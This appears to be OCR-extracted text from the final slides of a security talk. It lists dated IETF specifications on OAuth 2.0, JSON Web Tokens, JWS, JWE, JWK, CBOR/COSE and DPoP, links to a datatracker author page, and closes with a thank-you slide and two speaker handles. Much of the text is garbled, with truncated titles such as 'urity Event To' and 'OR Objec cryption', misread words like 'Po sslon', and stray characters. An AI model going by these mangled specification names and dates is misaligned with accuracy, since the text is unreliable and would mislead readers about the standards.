Jul 2015  OAuth stration Management Protocol

urity Event To
Jun 2017  Auth ication Method R

Jun 2018 OAuth 2.0 Authorization Server Metadata

OR Objec cryption (COSE ) Header Parameter

Proof-of-P on Key Semantics for CBOR Web Tokens (CWTs)
ON Web ) (JWS)
Encryption (JWE)

JN Web Key (.

orithms {(JWA
May 2015

\uthorizat

At 9012
Oct 2012

Authorization Fram
Sep 2013 WebFinger

{

Sep 2015 . Web Key (JWK) Thumbprint

Sep 2017 sing RSA Algorithms with CBOR O

OAuth 2.0 Demonstrating Proof of Po sslon (DPoP)

https://datatracker.ietf.org/person/michael.jones@microsoft.com




The End

Thank you for listening, questions?

@_dirkjan | @olafhartong
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